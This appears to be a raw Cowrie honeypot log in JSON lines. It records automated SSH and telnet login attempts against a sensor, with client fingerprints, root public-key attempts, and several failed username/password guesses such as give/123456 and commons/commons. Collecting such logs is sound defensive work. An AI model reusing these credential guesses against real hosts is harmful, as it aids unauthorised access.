{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:04.665083Z","src_ip":"209.227.244.120","session":"3ede7ba62f08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"give","password":"123456","message":"login attempt [give/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:05.055206Z","src_ip":"209.227.244.120","session":"3ede7ba62f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:06.146712Z","src_ip":"209.227.244.120","session":"3ede7ba62f08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":13360,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1d7a2b537bf","protocol":"ssh","message":"New connection: 103.75.71.22:13360 (10.17.0.5:22) [session: c1d7a2b537bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:10.579411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:10.586101Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:10.722491Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:0d:f4:82:d4:0e:e9:fe:5f:32:09:b8:90:8d:77:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+mP+vrfAlbwVtOIn4d0KwoGjGPRIK5OnfHDR7xu5YD2lEQ/gbM7DzTzPWbg1D5TEyxRCOnR24Eko1Fp14NVwP0AjNq1Nd+ATkeNdkuEj+hthhqR6BfoYzHs0eBy8KAcgv3MXk7wCB8k5zyXBAWujNKZ4lLjrw7U8NKRdZLyW196smFoZN3TYB3pCZ6aIP/S532eLB47njHplbt6WjFcUhNTfBFBzz4yz10ANx6cnGznhEPkGR7rAqIC7WxUCBvsYOQNNljbsiT6DZ7W5laVtVBVlBO9jyIfp0MwYz/+Q8WL4aZk1nV5Ii163gKbcUXu5+kC8VX3nETYr3gYkQfK7b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:0d:f4:82:d4:0e:e9:fe:5f:32:09:b8:90:8d:77:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.371895Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:0d:f4:82:d4:0e:e9:fe:5f:32:09:b8:90:8d:77:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+mP+vrfAlbwVtOIn4d0KwoGjGPRIK5OnfHDR7xu5YD2lEQ/gbM7DzTzPWbg1D5TEyxRCOnR24Eko1Fp14NVwP0AjNq1Nd+ATkeNdkuEj+hthhqR6BfoYzHs0eBy8KAcgv3MXk7wCB8k5zyXBAWujNKZ4lLjrw7U8NKRdZLyW196smFoZN3TYB3pCZ6aIP/S532eLB47njHplbt6WjFcUhNTfBFBzz4yz10ANx6cnGznhEPkGR7rAqIC7WxUCBvsYOQNNljbsiT6DZ7W5laVtVBVlBO9jyIfp0MwYz/+Q8WL4aZk1nV5Ii163gKbcUXu5+kC8VX3nETYr3gYkQfK7b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.374978Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:e3:d2:6a:a4:f0:a9:31:3f:4c:83:ea:2c:94:22:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmys1tKLo6twuj2LzhBIVJ3D2tm+d93tSKmZqx9nf4uTq13k1RCu2jiR+VOBx1C/NjCQu+KBSR1O7w7/l6CVHURBQ6hf7DAFgxGBHSXPEeQbr3oDnxONQYGesnl8a3Z0o/5qgayh3p+CBU3iiDXmgjnR/2OTTj5nu2Pemh9hvqqJBgMdO1vbwMror7gQkwe6d31/q/oXNflaQgmby4nUZtkEysiAJpPZJ4JyUwnqb0GeJ1dk+ayFnKVohwA+iVytbz+PjgbiHjUITAqoN53juvjqTpPWQxWboKlNzC6b3m/Iltdn3G5178Nx7/FisCCmFhDFMfaJjekO1WzjIpSAdk7eqHfFN0fmMeXoA5suRNpCPnm9LqZP4+EceGnqEF0O1DfgAAh4w1Bq16g2qICUHWn+UjOi//cCDtk+H4e2w/9HLIkxKpFt2rwLHOLgidJtka90VzzRpa6cSFWUYq1zz4cjbIWdrWcd/rBY7xaNzrYvtso8PSM9GMJiVF3aScGE4dGwyt7SBr0eYEohmN0bdRW2aUIb9yssUqatvvEx3nSILWmqHZcjPyj7kELnyk6Sy/xvlyW04CBTSU48Lc1Npx7Q+KLpnu4B5vF7BwHkg8p5JpAjF4AvHM7uTbqGQnp+biGSYeA1nGseSTIzRu6iQARw6eNn+4eDdHFNLOQMLx0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:e3:d2:6a:a4:f0:a9:31:3f:4c:83:ea:2c:94:22:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.508795Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:e3:d2:6a:a4:f0:a9:31:3f:4c:83:ea:2c:94:22:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmys1tKLo6twuj2LzhBIVJ3D2tm+d93tSKmZqx9nf4uTq13k1RCu2jiR+VOBx1C/NjCQu+KBSR1O7w7/l6CVHURBQ6hf7DAFgxGBHSXPEeQbr3oDnxONQYGesnl8a3Z0o/5qgayh3p+CBU3iiDXmgjnR/2OTTj5nu2Pemh9hvqqJBgMdO1vbwMror7gQkwe6d31/q/oXNflaQgmby4nUZtkEysiAJpPZJ4JyUwnqb0GeJ1dk+ayFnKVohwA+iVytbz+PjgbiHjUITAqoN53juvjqTpPWQxWboKlNzC6b3m/Iltdn3G5178Nx7/FisCCmFhDFMfaJjekO1WzjIpSAdk7eqHfFN0fmMeXoA5suRNpCPnm9LqZP4+EceGnqEF0O1DfgAAh4w1Bq16g2qICUHWn+UjOi//cCDtk+H4e2w/9HLIkxKpFt2rwLHOLgidJtka90VzzRpa6cSFWUYq1zz4cjbIWdrWcd/rBY7xaNzrYvtso8PSM9GMJiVF3aScGE4dGwyt7SBr0eYEohmN0bdRW2aUIb9yssUqatvvEx3nSILWmqHZcjPyj7kELnyk6Sy/xvlyW04CBTSU48Lc1Npx7Q+KLpnu4B5vF7BwHkg8p5JpAjF4AvHM7uTbqGQnp+biGSYeA1nGseSTIzRu6iQARw6eNn+4eDdHFNLOQMLx0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.512225Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:99:79:e3:6b:7c:2e:11:6b:88:06:4b:06:c6:05:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbP15kA+50nvqfoh18+FyHf0QJZwASQTKh7wfQWvslVA2851mKvmFfOxIhyu/7WFCspdzdM5PFPgfh+WQ77uxl4MNjMcbtyYtf9VjH2vbLxPzFXXQ6teQYu/5OHHnS8hrld1vqCxPnJ4qQ9xk4upT0QMtiDs2tucP0iUz2BAUyBD0o2RbGrt73lU+jxj9yFFT5Zr87FcFpIGgvnY4ljIgkRDZ9zjxFyo1+NXLI7EPtpFwPl8YRRd2iqG5CLnFVgsaDSZBczs65ciRyZF7MN7X+MLq0IrxNN02JEPBs5SmzfNuv1UPqguhM/ApitbBexVIkJCo0pextR2j88+E746qz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:99:79:e3:6b:7c:2e:11:6b:88:06:4b:06:c6:05:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.646497Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:99:79:e3:6b:7c:2e:11:6b:88:06:4b:06:c6:05:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbP15kA+50nvqfoh18+FyHf0QJZwASQTKh7wfQWvslVA2851mKvmFfOxIhyu/7WFCspdzdM5PFPgfh+WQ77uxl4MNjMcbtyYtf9VjH2vbLxPzFXXQ6teQYu/5OHHnS8hrld1vqCxPnJ4qQ9xk4upT0QMtiDs2tucP0iUz2BAUyBD0o2RbGrt73lU+jxj9yFFT5Zr87FcFpIGgvnY4ljIgkRDZ9zjxFyo1+NXLI7EPtpFwPl8YRRd2iqG5CLnFVgsaDSZBczs65ciRyZF7MN7X+MLq0IrxNN02JEPBs5SmzfNuv1UPqguhM/ApitbBexVIkJCo0pextR2j88+E746qz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.651544Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:b3:76:b7:88:a4:9f:5d:1c:e0:74:fb:b6:12:d2:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCWiLSHPch3V17o96wd1urEv2TFDvEPBIc0c1AgwWAeFYK8yuEOXzE9H9e/6xvtBsN+xsjRiLsiu25Wt9EoAeFLl9d15LLPD9+RLiU9n9D4bTSkj4NV7rty1Rv85Qh4mFO5tzpgNizM6IMgiFNRZrplrlG3QRda30Zxi/MwHSNy0GJw1zrACqvwfGHqcBJtAovkahyTMlexqHcTlU5tf6uWDVRqsMCuSMM9+UMtjD5ya7r6GRXRMVUPeZFTbmHJqR1C0+Q1uxBkx5tY0YjLkM0jM1pNR73UVlOJM+fRNejF8Tfm6vmFjF/w+RKQsOzEjY6oiuU4245hjOY7gPsCekhXnYvRjOlLunelDyYUKsVScwn8wOHUfJSsY1pFdp6LMMsx5eMizKUAf3/0NLFh/ef/xWdqIphx/D8DFLkQLYXCg92kvyzUETScyLnmiA3dgdWSQHlO+lyICL87FMjyk74A2KigV2a0Qt4E0MC8tXbzpmbTLysjJRSMiRlhc8uG8zMqmuTuY0fNsIlfsSf0nQr8MZUhfxQkYon0tiAxzXsE1iS75U37VSPwnlI4/1DV0Z35JrHxnUw+SRlAuAWvSoWdZlC40GyJOs5ob5itj/c5mz6+0aZnikwO+Ssey49U/V7BtE59TQ7K61U106yIVGyYcfBZxx57qtSRnoeGzj2NUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:b3:76:b7:88:a4:9f:5d:1c:e0:74:fb:b6:12:d2:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.786477Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:b3:76:b7:88:a4:9f:5d:1c:e0:74:fb:b6:12:d2:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCWiLSHPch3V17o96wd1urEv2TFDvEPBIc0c1AgwWAeFYK8yuEOXzE9H9e/6xvtBsN+xsjRiLsiu25Wt9EoAeFLl9d15LLPD9+RLiU9n9D4bTSkj4NV7rty1Rv85Qh4mFO5tzpgNizM6IMgiFNRZrplrlG3QRda30Zxi/MwHSNy0GJw1zrACqvwfGHqcBJtAovkahyTMlexqHcTlU5tf6uWDVRqsMCuSMM9+UMtjD5ya7r6GRXRMVUPeZFTbmHJqR1C0+Q1uxBkx5tY0YjLkM0jM1pNR73UVlOJM+fRNejF8Tfm6vmFjF/w+RKQsOzEjY6oiuU4245hjOY7gPsCekhXnYvRjOlLunelDyYUKsVScwn8wOHUfJSsY1pFdp6LMMsx5eMizKUAf3/0NLFh/ef/xWdqIphx/D8DFLkQLYXCg92kvyzUETScyLnmiA3dgdWSQHlO+lyICL87FMjyk74A2KigV2a0Qt4E0MC8tXbzpmbTLysjJRSMiRlhc8uG8zMqmuTuY0fNsIlfsSf0nQr8MZUhfxQkYon0tiAxzXsE1iS75U37VSPwnlI4/1DV0Z35JrHxnUw+SRlAuAWvSoWdZlC40GyJOs5ob5itj/c5mz6+0aZnikwO+Ssey49U/V7BtE59TQ7K61U106yIVGyYcfBZxx57qtSRnoeGzj2NUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.790115Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:b6:51:e5:ef:a8:d8:bc:2d:03:f4:bb:f9:95:6c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKEPN0PHU73y5FJ7FVcOxO5twkjt8aiv/vF6UtEysenT4Jptvopo8mRlWun1Ir+vbc6U4PHLi1rdFSAH9QbsxfFLJMnp+2v/XF+JwcyIAP57GTWvkZD+WnXjVrjHiprqjs0h2eW0fOgykVTipOT/f1j/ERI9/PF1aaShzLkPq40DbtFoLMJX8m8ErziCgWrM8Ury7asb8xoqDU5+oR0vVgAL7ta0b7fjFqs6RxEniTDyFkZIY8Zq3Xb/I23GTNG5KWoBlCOZz1IXcoVaRf3pc3FjJaTgloPSdY2b4m2E5cAnk80G/PhOD0mXA3rXamd8W5Gmz41knwu2fy4B/0nB9L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:b6:51:e5:ef:a8:d8:bc:2d:03:f4:bb:f9:95:6c:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.925552Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:b6:51:e5:ef:a8:d8:bc:2d:03:f4:bb:f9:95:6c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKEPN0PHU73y5FJ7FVcOxO5twkjt8aiv/vF6UtEysenT4Jptvopo8mRlWun1Ir+vbc6U4PHLi1rdFSAH9QbsxfFLJMnp+2v/XF+JwcyIAP57GTWvkZD+WnXjVrjHiprqjs0h2eW0fOgykVTipOT/f1j/ERI9/PF1aaShzLkPq40DbtFoLMJX8m8ErziCgWrM8Ury7asb8xoqDU5+oR0vVgAL7ta0b7fjFqs6RxEniTDyFkZIY8Zq3Xb/I23GTNG5KWoBlCOZz1IXcoVaRf3pc3FjJaTgloPSdY2b4m2E5cAnk80G/PhOD0mXA3rXamd8W5Gmz41knwu2fy4B/0nB9L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:11.928968Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:12.064630Z","src_ip":"103.75.71.22","session":"c1d7a2b537bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00146532058716,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:38.798980Z","src_ip":"128.199.8.54","session":"e563485f6b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.82564926147461,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:42.512360Z","src_ip":"128.199.8.54","session":"88d9b62987b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":32984,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcdb5f12a83e","protocol":"ssh","message":"New connection: 34.100.248.63:32984 (10.17.0.5:22) [session: dcdb5f12a83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:49.521713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:49.537719Z","src_ip":"34.100.248.63","session":"dcdb5f12a83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:49.785048Z","src_ip":"34.100.248.63","session":"dcdb5f12a83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"commons","password":"commons","message":"login attempt [commons/commons] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:50.789774Z","src_ip":"34.100.248.63","session":"dcdb5f12a83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:52.041268Z","src_ip":"34.100.248.63","session":"dcdb5f12a83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":45846,"dst_ip":"159.203.135.109","dst_port":22,"session":"aab09cc67b70","protocol":"ssh","message":"New connection: 209.227.244.120:45846 (159.203.135.109:22) [session: aab09cc67b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:38.105403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:38.110069Z","src_ip":"209.227.244.120","session":"aab09cc67b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:38.198606Z","src_ip":"209.227.244.120","session":"aab09cc67b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nat3","password":"nat3","message":"login attempt [nat3/nat3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:38.586799Z","src_ip":"209.227.244.120","session":"aab09cc67b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37610,"dst_ip":"10.17.0.5","dst_port":22,"session":"3607dcf6bb87","protocol":"ssh","message":"New connection: 80.66.85.226:37610 (10.17.0.5:22) [session: 3607dcf6bb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:39.088235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:39.101207Z","src_ip":"80.66.85.226","session":"3607dcf6bb87","protocol":"ssh"}
